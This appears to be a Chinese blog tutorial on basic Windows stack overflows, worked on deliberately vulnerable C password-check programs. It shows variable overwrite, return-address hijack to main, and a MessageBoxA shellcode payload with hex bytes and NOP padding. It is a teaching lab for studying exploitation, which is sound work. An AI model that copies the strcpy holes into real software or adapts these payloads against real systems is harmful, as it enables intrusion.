dustland

dustball in dustland

windows初级ROP

windows初级ROP

工具

VC++6.0

链接:https://pan.baidu.com/s/1jfAzvMvi27zPeiSGNTouQA 提取码:dust

老古董了

当编译链接报错的时候试试禁用预编译头,十有八九是他导致的

image-20220916203740037

windows XP操作系统

MSDN, 我告诉你 - 做一个安静的工具站 (itellyou.cn)这里找

实际在windows11上用VC++6.0也可以做实验,并且比古董XP更方便

缓冲区溢出修改临近变量

书上给出的例程长这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define PASSWORD "1234567"
int verify_password(char *password)
{
int authenticated;
char buffer[8]; // add local buffto be overflowed
authenticated = strcmp(password, PASSWORD);
strcpy(buffer, password); // over flowed here!
return authenticated;
}
main()
{
int valid_flag = 0;
char password[1024];
while (1)
{
printf("please input password: ");
scanf("%s", password);
valid_flag = verify_password(password);
if (valid_flag)
{
printf("incorrect password!\n\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
break;
}
}
}

VC++6.0的语法,关于main函数为啥没有返回值类型,入乡随俗吧

主函数里面一个1K字节的password庞然大物,其基地址传递给verify_password函数

该函数用了一个authenticated变量承载strcmp的返回值,如果输入的密码正确,即password=1234567,则strcmp(buffer,password)返回0,authenticated=0.否则strcmp根据两个参数的字典序返回正数或者负数

为了故意制造漏洞,书上在strcmp函数调用结束之后用strcmp将password拷贝到buffer上了strcpy(buffer, password);

下面动态调试verify_password函数,观察其栈帧的分布

用ollydbg,VC++6.0,ida等等调试均可

开端

1
2
3
4
5
6
7
8
9
10
11
12
5:    int verify_password(char *password)
6: {
00401020 push ebp ;保存调用者帧指针,返回时实现堆栈平衡
00401021 mov ebp,esp;ebp指向当前函数栈帧底部
00401023 sub esp,4Ch;栈顶下降0x4C
00401026 push ebx;被调用者保存寄存器
00401027 push esi
00401028 push edi
00401029 lea edi,[ebp-4Ch]
0040102C mov ecx,13h
00401031 mov eax,0CCCCCCCCh
00401036 rep stos dword ptr [edi];将eax的值拷贝到edi指向的字符串,重复次数ecx=0x13次

声明两个局部变量

1
2
7:        int authenticated;
8: char buffer[8]; // add local buffto be overflowed

可以看到并没有对应的汇编指令,这是因为编译原理中,声明语句不生成可执行代码,只是起到规定符号类型的作用

调用strcmp计算authenticated

1
2
3
4
5
6
7
9:        authenticated = strcmp(password, PASSWORD);
00401038 push offset string "1234567" (0042501c)
0040103D mov eax,dword ptr [ebp+8]
00401040 push eax
00401041 call strcmp (00401250)
00401046 add esp,8
00401049 mov dword ptr [ebp-4],eax

这个strcmp起到了验证输入密码是否正确的作用

stdcall调用约定,使用栈传递参数,最先push入栈的"1234567"的地址作为第二个参数,后来连push入栈的ebp+8作为第一个参数

局部变量都是在本函数栈帧内部的,他们在栈中的地址总是ebp减去某个数,而现在ebp+8这个地址显然不是当前函数栈内的局部变量,是调用者压栈传递的参数password

strcmp调用返回之后立刻抬栈8个字节,这就消去了为了调用strcmp压入的两个参数,调用strcmp前后堆栈平衡

stdcall中,strcmp返回值放在eax寄存器中,拷贝到栈上ebp-4位置,这意味着ebp-4是authenticated的位置,它紧挨着栈底

画蛇添足造成漏洞

到了故意写上的strcpy了

1
2
3
4
5
6
7
8
10:       strcpy(buffer, password); // over flowed here!
0040104C mov ecx,dword ptr [ebp+8]
0040104F push ecx
00401050 lea edx,[ebp-0Ch]
00401053 push edx
00401054 call strcpy (00401160)
00401059 add esp,8

ebp+8指向调用者压入的password字符串地址

ebp-0xC看来就是buffer的基地址了

然后调用strcpy从ebp+8拷贝字符串到ebp-0xC,啥时候碰到'\0'字符,啥时候拷贝结束

调用完成后抬栈8个字节,实现strcpy前后堆栈平衡

到此可以画出verify_password的栈帧分布了

image-20220916164950680

buffer的长度为8,如果输入8个字符,正好填满buffer,还多出一个'\0'结束字符,不得不放到authenticated上了,这就溢出覆盖了

然后authenticated被返回

而main函数中就是凭verify_password的返回值决定是否输入了正确的密码

这里需要让valid_flag即verify_password的返回值为0才可以跳过if,进入else

1
2
3
4
5
6
7
    if (valid_flag){
printf("incorrect password!\n\n");
}
else{
printf("Congratulation! You have passed the verification!\n");
break;
}

这样看来我们只需要输入00000000,八个0,最后多一个'\0'正好覆盖了authenticated,让他等于0.

然而这只是覆盖了它的最低一个字节,authenticated有4个字节.

"那么可以输入11个0,然后自带一个'\0',一共12个0,这样authenticated被溢出成全0了",这样想更不对,因为0的ASCII码是0x30,

这样输入之后相当于authenticated=0x00303030=3158064

实际上调试的时候正是如此

image-20220916170428996

'\0'是真的0,NULL,字符'0'是假的0,那应该再咋办呢

1
authenticated = strcmp(password, PASSWORD)

当字典序password<PASSWORD时,返回的是负数,那么authenticated的高位全都是1,(不管高几位是1了,反正最高位那个符号位是1)

当字典序password>PASSWROD时,返回的是正数,那么authenticated的高位全都是0了,这就有一个问题,高几位是0,如果高3个字节都是0则正好'\0'将最低字节也溢出成0,如果第二个字节非0就寄了

怎么验证这个事呢?要么直接调试看看,要么看strcmp的源代码

显然前者来的快,调试观察,结果是1,竟然不是一个乱七八糟的正数

逆向分析strcmp,其函数出口只有两个

image-20220916174314360

要么是doneeq处作为出口,这里返回eax=0

要么是donene处作为出口,这里干了啥呢?

1
2
3
4
5
.text:00401294 donene:                 ; done not equals
.text:00401294 sbb eax, eax
.text:00401296 shl eax, 1
.text:00401298 inc eax
.text:00401299 retn

sbb,带借位减法,sbb a,b意思是a=a-b-CF

那么sbb eax,eax的意思就是eax=eax-eax-CF=-CF

而CF的值来自于两个字符串逐个字节做差,strcmp(a,b)=a-b,如果a<b则CF=1否则即a>=b则CF=0

然后shl带进位左移,左移的时候最低位用CF补上

如果CF=0则eax=-0=0然后左移的时候低位补CF=0,还是0,最后inc eax导致变成1

因此如果a的字典序更大,则strcmp只会返回1

那么只需要输入2222222,七个2再加上'\0',就可以保证字典序大于1234567,eax返回1放到authenticated最低位,高三位都是0,然后'\0'溢出修改authenticated最低字节,得到全0的authenticated,这就跳过了if的检查

溢出返回地址

在verify_password函数的栈帧视角下,返回地址在ebp+4处

image-20220916192819674

从ebp-0xC到ebp+0x4共16字节,输入15个字节之后加上'\0',正好到达返回地址的家门口

单反再多输入一个字节,就要修改返回地址了

输入19个'A'再加上一个'\0'则返回地址被修改为0x00414141(0x41是'A'的ASCII编码)

image-20220916193417926

Buffer[0x19FACC,0x19FAD4)=0x4141414141414141

authenticated[0x19FAD4,0x19FAD8)=0x41414141

调用者ebp[0x19FAD8,0x19FADC)=0x41414141

返回地址[0x19FADC,0x19FAE0)=0x00414141

溢出之后再继续单步调试会变地很艰难,每一步都要等五六秒,最后retn指令之后eip将指向0x00414141处,跑飞了

image-20220916194149675

在windowsXP上尝试运行然后输入19个A,windows会报错

image-20220916194359820

在eip=0x414141处发生了0x80000003号错误

STATUS_BREAKPOINT,值为0x80000003,称为中断指令异常,表示在系统未附加内核调试器时遇到断点或断言。

确实如此,0x00414141处全都是0xCC

image-20220916194604144

而int 3中断指令的机器码恰好就是0xCC,因此CPU认为碰到了没有定义的断点,报错了

ret2text

上一个实验中,由于终端上只能输入可打印ASCII字符,这就限制了我们可以输入的地址

为了表演如何劫持控制,书上将输入改成了文件,这就允许输入不可打印ASCII字符了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define PASSWORD "1234567"
int verify_password(char *password)
{
int authenticated;
char buffer[8];
authenticated = strcmp(password, PASSWORD);
strcpy(buffer, password); // over flowed here!
return authenticated;
}
main()
{
int valid_flag = 0;
char password[1024];
FILE *fp;
if (!(fp = fopen("password.txt", "rw+")))
{
exit(0);
}
fscanf(fp, "%s", password);
valid_flag = verify_password(password);
if (valid_flag)
{
printf("incorrect password!\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
}

确定栈帧分布

main函数给password预留了1024个字节,足够了,只需要考虑verify_password函数的栈帧分布

在项目根目录下面新建一个password.txt文档然后随便输入几个字符,开始调试

按理说应该是exe同目录,即Debug目录,但是在哪里建立之后程序找不到password.txt文件

exe同目录或者项目根目录都建立一个,以防万一

1
2
3
4
5
6
7
10:       strcpy(buffer, password); // over flowed here!
0040104C mov ecx,dword ptr [ebp+8]
0040104F push ecx
00401050 lea edx,[ebp-0Ch]
00401053 push edx
00401054 call strcpy (00401180)
00401059 add esp,8

ebp+8是调用者传过来的参数,password的指针

ebp-0xC是buffer缓冲区地址

可以画出栈帧了,和刚才的实验中是一样的

image-20220916200536665

溢出修改返回地址

现在企图溢出修改返回地址,直接跳转到main中打印通过的信息处

1
2
3
4
30:           printf("Congratulation! You have passed the verification!\n");
0040111F push offset string "Congratulation! You have passed "... (00426028)
00401124 call printf (00401420)
00401129 add esp,4

即直接将返回地址溢出修改成0x0040111F就可以了,咋溢出呢?

前16个字节溢出成任意字符,然后输入三个字节,0x1F,0x11,0x40,总共19个字节了,然后最高位'\0'填充

问题是0x1F,0x11都是不可打印ASCII字符,怎么输入呢?

二进制 十进制 十六进制 字符 意义
00011111 31 1F US (Unit Separator) 单元分隔符
00010001 17 11 DC1/XON (Device Control 1/Transmission On) 设备控制1/传输开始
01000000 64 40 @

首先在password.txt中编辑1234567812341234abc这么19个字符,其中前16个阿拉伯数字全是填充,后面abc是需要修改的地方

image-20220916201320178

保存好后用010editor打开password.txt

View->Edit As->Hex

image-20220916201500309
image-20220916201527444

将最后三个字节,改成0x1F,0x11,0x40

image-20220916201618020

然后保存,再运行程序

1
2
PS C:\Users\86135\Desktop\StackOverFlow\controlflow\Debug> ./controlflow
Congratulation! You have passed the verification!

已经可以"通过检查"了,下面调试观察发生了什么

调试观察

首先,verify_password中strcpy执行之后,栈帧的状态

image-20220916202117461

EBP=0x19FAD4,这意味着返回地址在0x19FAD8,内存视图中可以看出,0x19FAD8开始的四个字节已经被溢出成0x0040111F了

继续执行直到retn指令,返回之后

image-20220916202219964

EIP顺势被修改为0x0040111F,达到了目的

此时EBP帧指针指向0x34333231,显然已经飞了,不是main函数的帧底,但是ESP指向栈顶是没错的,

编译器会计算好函数返回时esp要抬多少,但是ebp是纯靠程序压栈记忆的

这个过程画到图上就是书上给的

image-20220916202508235

ret2shellcode

上一个实验中将控制篡改到main函数中,还是属于代码段的,

这个实验要向栈中写入代码然后篡改返回地址,执行栈中代码.

image-20220916202944899

要在栈中写一段创建MessageBoxA的shellcode,让程序弹窗

需要pwn的程序长这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
//确保可以调用windows API
#include <windows.h>
#include <string.h>
#include <stdlib.h>

#define PASSWORD "1234567"
int verify_password(char *password)
{
int authenticated;
char buffer[44];//缓冲区扩大到44个字节,方便容纳shellcode
authenticated = strcmp(password, PASSWORD);
strcpy(buffer, password); // over flowed here!
return authenticated;
}
main()
{
int valid_flag = 0;
char password[1024];
FILE *fp;
LoadLibrary("user32.dll"); // prepare for messagebox
if (!(fp = fopen("password.txt", "rw+")))
{
exit(0);
}
fscanf(fp, "%s", password);
valid_flag = verify_password(password);
if (valid_flag)
{
printf("incorrect password!\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
}

还是从password.txt中写东西,溢出verify_password.txt的buffer缓冲区

首先要调试verify_password观察栈帧分布,项目根目录下新建password.txt,随便输入些字符,然后在main上下断点,开始调试

调试观察栈帧分布

authenticated

1
2
3
4
5
6
7
12:       authenticated = strcmp(password, PASSWORD);
00401038 push offset string "1234567" (0042601c)
0040103D mov eax,dword ptr [ebp+8]
00401040 push eax
00401041 call strcmp (00401290)
00401046 add esp,8
00401049 mov dword ptr [ebp-4],eax

ebp+8指向参数password

ebp-4是authenticated的地址

buffer

1
2
3
4
5
6
7
8
13:       strcpy(buffer, password); // over flowed here!
0040104C mov ecx,dword ptr [ebp+8]
0040104F push ecx
00401050 lea edx,[ebp-30h]
00401053 push edx
00401054 call strcpy (004011a0)
00401059 add esp,8

ebp-30h是buffer的基地址

30h=48,即buffer是紧接着authenticated的

观察寄存器视图,ebp=0x0012FB20

image-20220917003031600

那么"返回地址"在栈中的地址0x12FB24,buffer的基地址0x12FAF0

那么往buffer写44+4+4=52个字符,这52个字符里就包括了shellcode,就到返回地址的家门口了,然后将0x19FF04即buffer基地址写到返回地址上,如此函数返回时,控制将转移到0x12FAF0,

由于strcpy函数执行后,不会再有其他行为改变buffer缓冲区,然后函数返回之前退栈只是抬高esp,buffer成为非法区域,但是其内容不会被扬了,然后返回地址退栈交给eip,指向执行shellcode并执行

下面的任务就是如何编写shellcode

编写shellcode

首先需要找到MessageBox函数的地址

windows为了减少基址重定位的开销,给每个系统动态库都分配了各自的基地址,保证他们相互不冲突.

但是在不同的操作系统上,系统dll的基地址也是不一样的

在windows xp professional系统上,user32.dll的映像基址是77D10000h

而书上写的是windows xp SP3系统中user32.dll的映像基址是77D40000h

程序员的自我修养上写的是7E410000h

然后用VC++自带的DEPENDS.EXE程序观察user32.dll中MessageBoxA函数的偏移量

Microsoft Visual Studio.TXT
序号477,最有可能的下标476,函数名MessageBoxA,入口点(相对偏移)0x2ADD7

VA=RVA+ImageBase=0x2ADD7+0x77D10000=0x77D3ADD7

这就找到了MessageBoxA函数的虚拟地址

shellcode是这样写的:

1
2
3
4
5
6
7
8
9
10
11
xor ebx,ebx
push ebx
push 0x74736577
push 0x6c696166
mov eax,esp
push ebx
push eax
push eax
push ebx
mov eax,0x77D3ADD7;MessageBoxA地址压栈
call eax

编译成机器码为

1
33DB536877657374686661696C8BC453505053B8D7ADD377FFD0

这是26个字节了,用0x90(啥也不干nop)再填充26个字节到返回地址的家门口,

1
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

然后四个字节用buffer的基地址0x0019FF04,溢出返回地址,只写低3字节就可以,高一个字节'\0'自动填上了

1
F0 FA 12
1
2
3
4
33 DB 53 68 77 65 73 74 68 66 61 69 6C 8B C4 53
50 50 53 B8 D7 AD D3 77 FF D0 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 F0 FA 12

用010editor写到password.txt中然后保存

image-20220917003356045

在windows XP虚拟机上执行成功

image-20220917003507819

在windows 11上白搭,一是没找到32位的user32.dll,二是ebp值和windows XP上不同

调试

在windows XP上调试本程序

在strcpy执行之后从0x12FAF0开始的44+4+4+4个字节都被溢出修改

image-20220917004128116

retn返回之后,控制已经到达了0x0012FAF0处,开始执行shellcode

image-20220917004302943

此时堆栈顶ESP指向0x12FB28,这是main函数call verify_password之前的栈顶位置,

堆栈从大到小生长的话,0x0012FAF0是在其生长道路上的,shellcode有没有被再次生长的堆栈覆盖的可能呢?

shellcode中有7个压栈,也就是28=0x1A个字节,0x12FB28-0x1A=0x12FB0E>0x12FAF0,不会覆盖shellcode,可以放心执行

当MessageBoxA函数返回时,下面就没有有意义的指令了,迟早要寄掉

image-20220917005330244

在0x12fb0a处就寄了,错误代码0xc0000005